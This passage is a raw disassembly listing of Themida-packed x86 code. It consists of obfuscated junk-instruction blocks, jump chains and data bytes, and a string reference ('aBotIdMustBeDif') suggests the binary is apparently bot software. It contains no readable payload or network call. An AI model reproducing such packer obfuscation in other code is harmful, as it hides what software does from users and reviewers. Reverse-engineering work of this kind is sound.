		jmp	loc_55EB84
; ---------------------------------------------------------------------------

loc_56672B:				; CODE XREF: Themida_:0056BE71j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		sub	edx, 1
		and	edx, 78F20FE2h
		jmp	loc_558716
; ---------------------------------------------------------------------------

loc_566746:				; CODE XREF: Themida_:00562583j
		xor	ebp, 2FBEFDBCh
		and	eax, ebp
		jmp	loc_55C748
; ---------------------------------------------------------------------------

loc_566753:				; CODE XREF: Themida_:0055D27Fj
		add	eax, edx
		add	eax, 3F88578Bh
		jmp	loc_55E333
; ---------------------------------------------------------------------------
		db 25h
		dd 3C2A469Fh, 0AD4E922Dh, 0F28F0F72h, 5FFFF12h,	447E0DA2h
		dd 43AABD55h, 0ED816ABFh, 0FA8A42F0h, 55DE801h,	749C7FDCh
		dd 55235C05h, 58670532h, 0C301EAE6h, 8324048Bh,	0EC8104C4h
		dd 4, 0B9240C89h, 0A73E59h, 8E9C141h, 0CD3C981h, 0E1816EC4h
		dd 6A6F354Dh, 0DAB7C181h, 0EB8195BBh, 36F63497h, 0BD55CB01h
		dd 36F63497h, 595DEB01h, 1E7EE9h, 4EC8100h, 89000000h
		dd 4BB241Ch, 0E9000000h, 0FFFFD603h
; ---------------------------------------------------------------------------

loc_5667E8:				; CODE XREF: Themida_:00563436j
		not	esi
		shr	esi, 4
		jmp	loc_55CE08
; ---------------------------------------------------------------------------
		dw 0F47h
		dd 0FF1A558Eh, 4E7C1FFh, 5D33C781h, 0A6E9481Ch
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_566807:				; CODE XREF: Themida_:0055B515j
		sub	ebx, 640F6461h
		mov	edx, [esp]
		add	esp, 4
		push	305Dh
		mov	[esp], ebx
		push	dword ptr [esp+4]
		jmp	loc_55BC59
; ---------------------------------------------------------------------------

loc_566824:				; CODE XREF: Themida_:005673FAj
		pop	edx
		add	edx, 4
		jmp	loc_556B6D
; ---------------------------------------------------------------------------

loc_566830:				; CODE XREF: Themida_:00560559j
		xor	eax, 7B5E1839h
		push	eax
		not	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		inc	eax
		push	0
		sub	[esp], eax
		pop	eax
		shl	eax, 6
		add	eax, 62103D4Eh
		jmp	loc_562E4E
; ---------------------------------------------------------------------------
		db 43h,	81h, 0EBh
		dd 97FB8ED3h, 16586C05h, 6BFBE94Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56686A:				; CODE XREF: Themida_:0055B27Aj
		add	esp, 4
		jmp	loc_56BE2D
; ---------------------------------------------------------------------------

loc_566875:				; CODE XREF: Themida_:0055E2EEj
		shl	edx, 4
		jmp	loc_56A57F
; ---------------------------------------------------------------------------

loc_56687D:				; CODE XREF: Themida_:00567BC0j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_559108
; ---------------------------------------------------------------------------
		dd 8B24048Fh, 1C892424h, 8FE95424h
		db 0EBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_566897:				; CODE XREF: Themida_:0056653Cj
		pop	esp
		mov	[esp], esi
		mov	esi, 41405BD4h
		shl	esi, 8
		neg	esi
		dec	esi
		xor	esi, 98604C0h
		jmp	loc_55F784
; ---------------------------------------------------------------------------

loc_5668B1:				; CODE XREF: Themida_:00567F1Fj
		sub	eax, 292D052Bh
		or	ebp, eax
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_55CB30
; ---------------------------------------------------------------------------

loc_5668C3:				; CODE XREF: Themida_:00558094j
					; Themida_:00568557j
		push	edx
		xchg	edi, [esp]
		not	edi
		xchg	edi, [esp]
		jmp	loc_55894B
; ---------------------------------------------------------------------------

loc_5668D1:				; CODE XREF: Themida_:0055EF88j
		push	3E794905h
		pop	edx
		xor	edx, 700D234Fh
		jmp	loc_567F7C
; ---------------------------------------------------------------------------

loc_5668E2:				; CODE XREF: Themida_:0055799Bj
		add	dh, 13h
		push	ecx
		mov	ch, 42h
		shl	ch, 8
		shl	ch, 7
		neg	ch
		xor	ch, 1
		add	dh, ch
		jmp	loc_561107
; ---------------------------------------------------------------------------

loc_5668FA:				; CODE XREF: Themida_:00564B6Dj
		mov	esp, [esp]
		jmp	loc_55D687
; ---------------------------------------------------------------------------

loc_566902:				; CODE XREF: Themida_:00569531j
		mov	[esp], eax
		jmp	loc_5696F1
; ---------------------------------------------------------------------------
		dw 0FFE9h
		db 2Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_56690F:				; CODE XREF: Themida_:0056BF40j
		add	edx, ebx
		jmp	loc_56BD7D
; ---------------------------------------------------------------------------

loc_566916:				; CODE XREF: Themida_:0055C509j
		push	7C2Fh
		jmp	loc_557133
; ---------------------------------------------------------------------------

loc_566920:				; CODE XREF: Themida_:005580B2j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_565A12
; ---------------------------------------------------------------------------

loc_566933:				; CODE XREF: Themida_:005641A0j
		sub	bl, ah
		jmp	loc_55D810
; ---------------------------------------------------------------------------

loc_56693A:				; CODE XREF: Themida_:0055F201j
		xchg	edx, [esp]
		pop	esp
		add	eax, 2
		jmp	loc_564470
; ---------------------------------------------------------------------------

loc_566946:				; CODE XREF: Themida_:0055C3D8j
		push	10D3h
		mov	[esp], ebx
		push	esi
		mov	esi, 2
		push	esi
		xor	dword ptr [esp], 41A636B8h
		pop	ebx
		jmp	loc_56A9E8
; ---------------------------------------------------------------------------

loc_566962:				; CODE XREF: Themida_:00562BF5j
		add	edi, 0F3B79C83h
		mov	esi, edi
		pop	edi
		jmp	loc_5634E7
; ---------------------------------------------------------------------------

loc_566970:				; CODE XREF: Themida_:00569700j
		add	ebx, edx
		add	ebx, 260850A8h
		push	dword ptr [ebx]
		push	ebp
		mov	ebp, 65487101h
		xor	[esp+4], ebp
		mov	ebp, [esp]
		push	ecx
		jmp	loc_56807B
; ---------------------------------------------------------------------------

loc_56698D:				; CODE XREF: Themida_:005588EAj
		add	eax, esi
		mov	esi, [esp]
		jmp	loc_5699FE
; ---------------------------------------------------------------------------

loc_566997:				; CODE XREF: Themida_:0055DAB9j
		mov	esi, 75377931h
		shr	esi, 4
		push	edi
		mov	edi, 19947A9Eh
		jmp	loc_569940
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 4, 8B243C87h, 48F2424h, 0FF575C24h, 0E9042474h, 2766h
; ---------------------------------------------------------------------------

loc_5669C4:				; CODE XREF: Themida_:005674A2j
		push	esi
		jmp	loc_563D37
; ---------------------------------------------------------------------------

loc_5669CA:				; CODE XREF: Themida_:0056553Cj
		sub	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		shl	ecx, 3
		push	eax
		mov	eax, 82988E0Ch
		add	ecx, eax
		pop	eax
		jmp	loc_568285
; ---------------------------------------------------------------------------
		db 80h
		dd 686601EEh, 51660000h, 4480D6B1h, 590224h, 8002244Ch
		dd 5902246Ch, 0FFC5A6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_566A01:				; CODE XREF: Themida_:00558537j
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		bswap	eax
		sub	esp, 4
		mov	[esp], eax
		push	4CFh
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	eax, 4
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_56987C
; ---------------------------------------------------------------------------

loc_566A45:				; CODE XREF: Themida_:0055C7DAj
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		xor	ebx, edi
		mov	edi, [esp]
		push	5953h
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		jmp	loc_5635EB
; ---------------------------------------------------------------------------

loc_566A62:				; CODE XREF: Themida_:00566A6Cj
		add	cl, 0CFh
		jmp	loc_56100D
; ---------------------------------------------------------------------------

loc_566A6A:				; CODE XREF: Themida_:00564C09j
		not	cl
		jmp	loc_566A62
; ---------------------------------------------------------------------------

loc_566A71:				; CODE XREF: Themida_:0055C82Dj
					; Themida_:00568736j
		add	esp, 4
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		jmp	loc_558695
; ---------------------------------------------------------------------------

loc_566A88:				; CODE XREF: Themida_:00561B36j
		add	dword ptr [esp], 4
		jmp	loc_56926A
; ---------------------------------------------------------------------------

loc_566A94:				; CODE XREF: Themida_:loc_557B7Dj
					; Themida_:0055882Cj
		add	esi, edx
		mov	edx, [esp]
		jmp	loc_55D5D2
; ---------------------------------------------------------------------------

loc_566A9E:				; CODE XREF: Themida_:00565D21j
		pop	eax
		pop	ebx
		pop	eax
		sub	dh, 0B5h
		push	ecx
		mov	ch, dh
		jmp	loc_568FCD
; ---------------------------------------------------------------------------

loc_566AAC:				; CODE XREF: Themida_:005629F0j
		sub	eax, ecx
		jmp	loc_56B760
; ---------------------------------------------------------------------------

loc_566AB3:				; CODE XREF: Themida_:005696D2j
		sub	esp, 4
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 50B679CAh
		push	edi
		push	2BF50B19h
		pop	edi
		push	eax
		mov	eax, 19711308h
		sub	eax, 31E65868h
		neg	eax
		not	eax
		push	ecx
		mov	ecx, 5E4055CFh
		add	eax, ecx
		jmp	loc_55E038
; ---------------------------------------------------------------------------
byte_566AED	db 66h,	8Bh, 4		; DATA XREF: Themida_:00556024o
		dd 182E924h, 0B151FFFFh, 0FEC9FEB3h, 0E3F180C1h, 0FFD78AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_566B05:				; CODE XREF: Themida_:00556F82j
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_55F643
; ---------------------------------------------------------------------------

loc_566B33:				; CODE XREF: Themida_:0056331Dj
					; Themida_:0056BE4Dj
		push	eax
		push	esi
		mov	esi, 55F95166h
		jmp	loc_55F969
; ---------------------------------------------------------------------------

loc_566B3F:				; CODE XREF: Themida_:0055B485j
		add	esp, 4
		add	ebx, edx
		pop	edx
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	edx
		push	ebp
		mov	ebp, 6A7B64F8h
		push	esi
		mov	esi, 64106AE9h
		add	esi, 0A730ECB2h
		jmp	loc_560DEA
; ---------------------------------------------------------------------------

loc_566B67:				; CODE XREF: Themida_:0055A2D4j
		push	ebx
		mov	ebx, 8DE02A2h
		and	ebp, ebx
		pop	ebx
		add	ebp, 78EF7A2Bh
		xor	ebp, 79377AC9h
		push	edx
		mov	edx, 6B87BD0h
		sub	edi, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_556C2A
; ---------------------------------------------------------------------------
		db 5Ah
		dd 665EF301h, 0E900B60Fh, 6B27h
; ---------------------------------------------------------------------------

loc_566BA0:				; CODE XREF: Themida_:005577DBj
		pop	ebx
		jmp	loc_5594C8
; ---------------------------------------------------------------------------

loc_566BA6:				; CODE XREF: Themida_:0055793Aj
		pop	esp
		mov	[esp], esi
		jmp	loc_56ADE7
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0E9241C87h, 0FFFFF4E5h
; ---------------------------------------------------------------------------

loc_566BB8:				; CODE XREF: Themida_:0056C47Cj
		add	edx, 23C23671h
		push	372Fh
		mov	[esp], edi
		jmp	loc_566541
; ---------------------------------------------------------------------------

loc_566BCB:				; CODE XREF: Themida_:005655CFj
		push	ebp
		jmp	loc_56AEAD
; ---------------------------------------------------------------------------

loc_566BD1:				; CODE XREF: Themida_:0055FD74j
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_56949E
; ---------------------------------------------------------------------------

loc_566BDC:				; CODE XREF: Themida_:0056A5D3j
		push	esp
		pop	edi
		add	edi, 4
		push	edx
		mov	edx, 7FC62AA6h
		jmp	loc_55E627
; ---------------------------------------------------------------------------

loc_566BEF:				; CODE XREF: Themida_:0055E6BBj
		sub	esp, 4
		mov	[esp], esi
		push	esp
		pop	esi
		push	eax
		mov	eax, 5DE55B06h
		add	eax, 0A21AA4FEh
		jmp	loc_56798E
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 54552404h, 4A83E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_566C16:				; CODE XREF: Themida_:loc_55B1BDj
		not	bh
		xchg	al, bh
		inc	al
		xor	bh, al
		xor	al, bh
		xor	bh, al
		push	edx
		mov	dl, 0A9h
		push	5CEFh
		mov	[esp], ebx
		mov	bl, 24h
		inc	bl
		xor	bl, 0BCh
		sub	dl, bl
		pop	ebx
		jmp	loc_55AE70
; ---------------------------------------------------------------------------

loc_566C3C:				; CODE XREF: Themida_:0056058Ej
		mov	bh, 0ECh
		mov	cl, bh
		jmp	loc_5623BA
; ---------------------------------------------------------------------------

loc_566C45:				; CODE XREF: Themida_:005568C4j
		dec	edx
		dec	edx
		xor	edx, 51C6549Ah
		sub	edi, 8733AB7h
		jmp	loc_5675AE
; ---------------------------------------------------------------------------
		dd 94316CB9h, 4EC6814Fh, 2955B06Bh, 7DBFE9CEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_566C6A:				; CODE XREF: Themida_:00561E47j
		push	eax
		add	dword ptr [esp], 3A646DEh
		pop	edx
		push	eax
		push	edi
		mov	edi, 12AC644Eh
		mov	eax, 7C8B5ADFh
		jmp	loc_563A56
; ---------------------------------------------------------------------------
		dd 982B951h, 5156788Ah,	0FF9635E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_566C91:				; CODE XREF: Themida_:00562CF7j
		add	edx, esi
		pop	esi
		add	edx, 29B83837h
		jmp	loc_55C08C
; ---------------------------------------------------------------------------

loc_566C9F:				; CODE XREF: Themida_:00558C54j
		xor	eax, edi
		not	edi
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_561398
; ---------------------------------------------------------------------------

loc_566CB1:				; CODE XREF: Themida_:0056A2D0j
		not	dword ptr [esp]
		pop	ecx
		add	ecx, 8748EF05h
		add	ebx, ecx
		pop	ecx
		add	ebx, 5A295501h
		add	ebx, edi
		sub	ebx, 5A295501h
		sub	ebx, 6DD47D1Bh
		push	eax
		mov	eax, 0
		sub	eax, 2D1D1164h
		jmp	loc_55E397
; ---------------------------------------------------------------------------

loc_566CE2:				; CODE XREF: Themida_:0055AE98j
		jno	loc_56937D
		inc	ecx
		jnp	loc_563CED
		mov	ebp, ebp
		pop	esp

loc_566CF2:				; CODE XREF: Themida_:0055BFE9j
		add	edx, 5A293B81h
		add	edx, edi
		jmp	loc_569B58
; ---------------------------------------------------------------------------
		db 81h
		dd 0DC5A4EC6h, 0E5C68173h, 1246D1Fh, 0E5EE81FEh, 81246D1Fh
		dd 0DC5A4EEEh, 7A6F6873h, 1C890000h, 6EC9BB24h,	0DBF71852h
		dd 1870800Fh, 0E3C10000h, 59880F07h, 8100003Dh,	425C6DF3h
		dd 46ECE92Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_566D42:				; CODE XREF: Themida_:0055EC1Bj
		add	ebp, 748114A3h
		add	ebp, edi
		push	eax
		push	edx
		push	72368E8h
		pop	edx
		shr	edx, 2
		jmp	loc_56B769
; ---------------------------------------------------------------------------

loc_566D5A:				; CODE XREF: Themida_:0055A7DCj
		add	esp, 4
		sub	al, 92h
		sub	al, ch
		add	al, 92h
		mov	ecx, [esp]
		add	esp, 4
		sub	al, bl
		jmp	loc_5643A8
; ---------------------------------------------------------------------------

loc_566D73:				; CODE XREF: Themida_:00557098j
		add	al, 0BEh
		neg	al
		sub	al, 31h
		sub	bl, al
		mov	eax, [esp]
		add	esp, 4
		xor	al, bl
		pop	ebx
		push	edx
		push	0C8h
		jmp	loc_56B2DE
; ---------------------------------------------------------------------------

loc_566D92:				; CODE XREF: Themida_:0055FD11j
		mov	edi, eax
		pop	eax
		or	edi, 226B3ADDh
		add	edi, 0DD1FAB14h
		jmp	loc_55BE2F
; ---------------------------------------------------------------------------

loc_566DA6:				; CODE XREF: Themida_:00560DBCj
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_566DB4:				; CODE XREF: Themida_:0056A4AEj
		mov	ebp, [esp]
		add	esp, 4
		mov	edx, 8D25F6A2h
		add	edx, 7AF16326h
		add	edx, eax
		sub	edx, 7AF16326h
		jmp	loc_56434D
; ---------------------------------------------------------------------------

loc_566DD5:				; CODE XREF: Themida_:0055FA1Dj
		mov	ebp, 4F46BD1h
		jmp	loc_56228F
; ---------------------------------------------------------------------------

loc_566DDF:				; CODE XREF: Themida_:005690F4j
		shl	esi, 2
		add	esi, 7AB7D2E4h
		sub	ecx, 4B901B1Fh
		add	ecx, 46D54F85h
		sub	ecx, 20AB0AA4h
		jmp	loc_5698E0
; ---------------------------------------------------------------------------

loc_566DFF:				; CODE XREF: Themida_:00563872j
		not	esi
		inc	esi
		xor	esi, 0E2041F9Bh
		jmp	loc_55FAFC
; ---------------------------------------------------------------------------

loc_566E0D:				; CODE XREF: Themida_:0055BF11j
		sub	eax, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55B07D
; ---------------------------------------------------------------------------
		dw 0C668h
		dd 0FF4F4923h, 88E92434h, 89000029h, 0BB532404h, 994064Bh
		dd 252CE5B8h, 8BD8311Fh, 0C483241Ch, 553FE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_566E42:				; CODE XREF: Themida_:005619F1j
		add	edi, 92C68F1Dh
		sub	edx, edi
		pop	edi
		xor	eax, edx
		pop	edx
		push	447Bh
		mov	[esp], ebp
		jmp	loc_559DC7
; ---------------------------------------------------------------------------

loc_566E5B:				; CODE XREF: Themida_:0055DC8Cj
		push	41D0h
		mov	[esp], eax
		mov	eax, ecx
		push	eax
		jmp	loc_55C4FD
; ---------------------------------------------------------------------------

loc_566E6B:				; CODE XREF: Themida_:0055F93Dj
		xor	esi, 6E082145h
		add	esi, 5D753B4h
		jmp	loc_5642AC
; ---------------------------------------------------------------------------

loc_566E7C:				; CODE XREF: Themida_:00556C25j
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		dw 0E961h
		dd 0FFFF0DA7h
; ---------------------------------------------------------------------------

loc_566E88:				; CODE XREF: Themida_:00561D88j
		shl	esi, 7
		dec	esi
		jmp	loc_55DCFE
; ---------------------------------------------------------------------------

loc_566E91:				; CODE XREF: Themida_:0055F5C2j
		pop	esp
		push	small 59D2h
		mov	[esp], ax
		push	edx
		jmp	loc_561C7E
; ---------------------------------------------------------------------------
		dd 0F641B652h, 80C6FEDEh, 0E953B8C6h, 1041h
; ---------------------------------------------------------------------------

loc_566EB0:				; CODE XREF: Themida_:0055CB33j
		add	esp, 4
		jmp	loc_561EE2
; ---------------------------------------------------------------------------

loc_566EBB:				; CODE XREF: Themida_:00569E93j
		jnz	loc_56A32E
		sub	esp, 4
		mov	[esp], esi
		push	ecx
		mov	ecx, 6A1D6794h
		push	ebp
		mov	ebp, 365D1F10h
		push	esi
		mov	esi, 3BB46162h
		add	esi, 1A494436h
		sub	esi, 0D6816E7Eh
		or	ebp, esi
		pop	esi
		dec	ebp
		jge	loc_55E20C
		jmp	loc_56B6BB
; ---------------------------------------------------------------------------
		dd 0D8157F2Dh, 9FF08022h, 506616B3h, 0FF68F7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_566F05:				; CODE XREF: Themida_:005624E3j
		pop	ebx
		push	ebx
		mov	ebx, 2
		sub	ebp, ebx
		pop	ebx
		jmp	loc_5580ED
; ---------------------------------------------------------------------------

loc_566F14:				; CODE XREF: Themida_:00558D87j
		push	ebx
		push	514761BEh
		pop	ebx
		xor	ebx, 6BA7BECh
		jmp	loc_5577D9
; ---------------------------------------------------------------------------

loc_566F26:				; CODE XREF: Themida_:0055B5BBj
		mov	ebx, ebp
		pop	ebp
		jmp	loc_560DF9
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 0D13BBDE5h, 0FFEDC7E9h
		db 0FFh
byte_566F39	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:005560C4o
		dd 0D359669Dh, 0E99C2414h, 0FFFEF39Fh, 2287F581h, 0E958437Ah
		dd 6763h
; ---------------------------------------------------------------------------

loc_566F54:				; CODE XREF: Themida_:00558A6Fj
		sub	eax, edx
		pop	edx
		jmp	loc_569E2A
; ---------------------------------------------------------------------------

loc_566F5C:				; CODE XREF: Themida_:005643B1j
		add	al, dl
		pop	dx
		push	ecx
		mov	cl, 0AEh
		push	4955h
		mov	[esp], eax
		mov	al, 0F9h
		jmp	loc_56706A
; ---------------------------------------------------------------------------

loc_566F72:				; CODE XREF: Themida_:00568B8Aj
		sub	eax, 7C0F1A36h
		jmp	loc_55AAC3
; ---------------------------------------------------------------------------

loc_566F7C:				; CODE XREF: Themida_:0055D337j
		push	ebp
		mov	ebp, 46A21EC0h
		not	ebp
		shr	ebp, 3
		push	esi
		mov	esi, 30805A95h
		or	ebp, esi
		pop	esi
		sub	ebp, 13A2718Ah
		jmp	loc_55DE53
; ---------------------------------------------------------------------------

loc_566F9B:				; CODE XREF: Themida_:0056352Fj
		mov	edx, 4
		jmp	loc_559C7D
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 0CEh
		dd 0E94E235Ch, 0FFFF7D7Bh
; ---------------------------------------------------------------------------

loc_566FB0:				; CODE XREF: Themida_:00558F47j
		xor	ecx, 0B44DCF60h
		or	eax, ecx
		pop	ecx
		push	ebp
		push	edx
		push	ebp
		jmp	loc_566100
; ---------------------------------------------------------------------------

loc_566FC1:				; CODE XREF: Themida_:00559D71j
		add	esp, 4
		or	ebp, 4D0525Bh
		js	loc_569C86
		shl	ebp, 7
		sub	ebp, 0E92DFC82h
		mov	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		and	[edi+1Ch], eax
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ecx
		jmp	loc_561488
; ---------------------------------------------------------------------------

loc_566FF6:				; CODE XREF: Themida_:0055EA61j
		pop	eax
		jmp	loc_5643FF
; ---------------------------------------------------------------------------
		dd 5724248Bh, 0C781E789h, 4, 3304EF83h,	3C31243Ch, 243C3324h
		dd 8924248Bh, 0CF68243Ch, 0E9000060h, 0FFFFBB1Eh, 0C281E289h
		dd 4, 0A43BB53h, 0D3F732FEh, 8108EBC1h,	0EB47C8EBh, 0E9D3F738h
		dd 38E9h, 0D828892Ch, 0DE98904h
		db 67h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56704F:				; CODE XREF: Themida_:0055E6E8j
		pop	esp
		mov	[esp], edx
		mov	edx, 626393h
		sub	eax, edx
		jmp	loc_568671
; ---------------------------------------------------------------------------

loc_56705F:				; CODE XREF: Themida_:00564DE9j
		push	edi
		mov	edi, 248A0C02h
		jmp	loc_569A5A
; ---------------------------------------------------------------------------

loc_56706A:				; CODE XREF: Themida_:00566F6Dj
		push	small 49A1h
		mov	[esp], bx
		mov	bl, 0Ch
		sub	al, bl
		mov	bx, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_55BB18
; ---------------------------------------------------------------------------

loc_567082:				; CODE XREF: Themida_:0056C35Aj
		add	edx, ebx
		push	ebp
		jmp	loc_565A99
; ---------------------------------------------------------------------------

loc_56708A:				; CODE XREF: Themida_:0056BA36j
					; Themida_:0056C111j
		xor	ecx, [esp]
		jmp	loc_563633
; ---------------------------------------------------------------------------

loc_567092:				; CODE XREF: Themida_:00568763j
		jmp	loc_55B2A9
; ---------------------------------------------------------------------------

loc_567097:				; CODE XREF: Themida_:005644EAj
		pop	ecx
		xor	ebp, 3C31E3F5h
		add	esi, ebp
		jmp	loc_562462
; ---------------------------------------------------------------------------

loc_5670A5:				; CODE XREF: Themida_:0056826Bj
		mov	eax, [esp]
		add	esp, 4
		push	4DB0h
		mov	[esp], eax
		push	2F1Bh
		push	41F8h
		push	esp
		pop	dword ptr [esp]
		jmp	loc_56D06E
; ---------------------------------------------------------------------------

loc_5670C9:				; CODE XREF: Themida_:0056866Cj
		sub	ecx, edx
		push	dword ptr [esp]
		jmp	loc_566659
; ---------------------------------------------------------------------------

loc_5670D3:				; CODE XREF: Themida_:0055C87Ej
		pop	dword ptr [esp]
		jmp	loc_56CF16
; ---------------------------------------------------------------------------

loc_5670DB:				; CODE XREF: Themida_:005688CEj
		push	ebp
		jmp	loc_5684DC
; ---------------------------------------------------------------------------

loc_5670E1:				; CODE XREF: Themida_:00564D19j
		push	ecx
		mov	ecx, 7C830724h
		mov	esi, 92281706h
		add	esi, ecx
		pop	ecx
		or	esi, 2A5F7645h
		sub	esi, 663368A6h
		push	ecx
		mov	ecx, 2FE12162h
		and	ecx, 16B31BEEh
		xor	ecx, 57C577A1h
		shl	ecx, 8
		shl	ecx, 5
		jmp	loc_55BA4B
; ---------------------------------------------------------------------------
		dd 0E95DE901h, 0FFFF42FFh
; ---------------------------------------------------------------------------

loc_567120:				; CODE XREF: Themida_:0055CF8Fj
		inc	edx
		push	3347h
		mov	[esp], ecx
		mov	ecx, 6DE1154Ah
		shr	ecx, 4
		jmp	loc_55E797
; ---------------------------------------------------------------------------
		dw 0E289h
		dd 17E4E9h
		db 0
; ---------------------------------------------------------------------------

loc_56713D:				; CODE XREF: Themida_:0056956Cj
		mov	ecx, esp
		add	ecx, 4
		push	esi
		mov	esi, 4
		add	ecx, esi
		pop	esi
		xchg	ecx, [esp]
		jmp	loc_55DF37
; ---------------------------------------------------------------------------

loc_567156:				; CODE XREF: Themida_:00564090j
		pop	eax
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		jmp	loc_56610A
; ---------------------------------------------------------------------------

loc_567171:				; CODE XREF: Themida_:0055930Aj
		add	ecx, 72A9DEA9h
		sub	edx, 57FB5614h
		jmp	loc_55F8CB
; ---------------------------------------------------------------------------
		dw 0E381h
		dd 7C46263Dh, 0EB81D3F7h, 63B9722Ah, 1F28EF81h,	0EF810722h
		dd 3A7B41h, 0C781DF29h,	3A7B41h, 14F2B951h, 0D9F74621h
		dd 38B0C981h, 0C9813691h, 7C8E410Eh, 540DE981h,	73E9358Ah
		db 16h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5671C3:				; CODE XREF: Themida_:0055C25Ej
		not	edi
		sub	edi, 1B1009FDh
		jmp	loc_561A85
; ---------------------------------------------------------------------------
		dd offset aBotIdMustBeDif+24h
		dd 240C8900h, 7A3768h, 62CAE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5671E2:				; CODE XREF: Themida_:0056CBE7j
		add	esp, 4
		inc	ecx
		add	ecx, 0FFFFFFFFh
		push	eax
		mov	eax, 0F2744E12h
		jmp	loc_56A320
; ---------------------------------------------------------------------------
aYsYHG		db 'YS╩Y]е`h,g',0
		align 10h
		dd offset dword_457444+14CA5h
		db 0
; ---------------------------------------------------------------------------

loc_567205:				; CODE XREF: Themida_:00564ADFj
		xor	bh, cl
		pop	cx
		mov	al, 0B9h
		jmp	loc_557AD2
; ---------------------------------------------------------------------------
dword_567210	dd 240C8B66h, 57E18951h, 0FA110EBFh, 0F6C7812Eh, 1D105EEh
					; DATA XREF: Themida_:00556110o
		dd 0E9835FF9h, 240C8704h, 520EE9h, 1F1E6800h, 815D6263h
		dd 9E752DC5h, 0C5814D32h, 0D4EB76C1h, 2C8BE829h, 4C48324h
		dd 424B5D2Dh, 7EF2051Ah, 0D8294E99h, 997EF22Dh,	0A468564Eh
		dd 89000063h, 0BBF243Ch, 8120DC12h, 207297F7h, 4FD7F71Eh
		dd 70AE8D0Fh, 0C781FFFFh, 7AE00721h, 0FF5E22E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_567285:				; CODE XREF: Themida_:0056D719j
		mov	esi, 3AEB6800h
		xor	esi, 113A5802h
		sub	eax, 814E8Fh
		sub	eax, 4027687Eh
		sub	eax, 15EE152Dh
		sub	eax, esi
		jmp	loc_561EB6
; ---------------------------------------------------------------------------

loc_5672A6:				; CODE XREF: Themida_:00557640j
		mov	al, 0Ah
		inc	al
		jle	loc_55EFB3
		shr	al, 4
		jmp	loc_5683FB
; ---------------------------------------------------------------------------

loc_5672B8:				; CODE XREF: Themida_:00564507j
		add	eax, 0BD0ED6C2h
		dec	eax
		jnz	loc_55CB7D
		jmp	loc_561576
; ---------------------------------------------------------------------------
		db 1, 0C5h, 58h
		dd 8804EC83h
		db 0C6h, 8Ah, 0D1h
; ---------------------------------------------------------------------------

loc_5672D3:				; CODE XREF: Themida_:0056B2EEj
		xor	dl, 44h
		push	eax
		mov	ah, 83h
		push	ebx
		mov	bl, 58h
		dec	bl
		sub	bl, 0A5h
		push	dx
		mov	dl, 0DEh
		add	bl, dl
		mov	dx, [esp]
		add	esp, 2
		add	bl, 0B8h
		sub	ah, bl
		pop	ebx
		add	bl, ah
		pop	eax
		jmp	loc_55FE66
; ---------------------------------------------------------------------------

loc_5672FC:				; CODE XREF: Themida_:0055645Bj
					; Themida_:0055A3BBj
		mov	edx, esp
		jmp	loc_55D9D4
; ---------------------------------------------------------------------------

loc_567303:				; CODE XREF: Themida_:0055E9B7j
					; Themida_:005692BEj
		add	al, 0C8h
		add	al, 95h
		add	al, dl
		sub	al, 95h
		sub	al, 0C8h
		mov	dx, [esp]
		sub	esp, 4
		jmp	loc_55D877
; ---------------------------------------------------------------------------
		dd 5BF3CE81h, 0EE816B0Ch, 7FA3399Fh, 2414F756h,	0F3C6815Eh
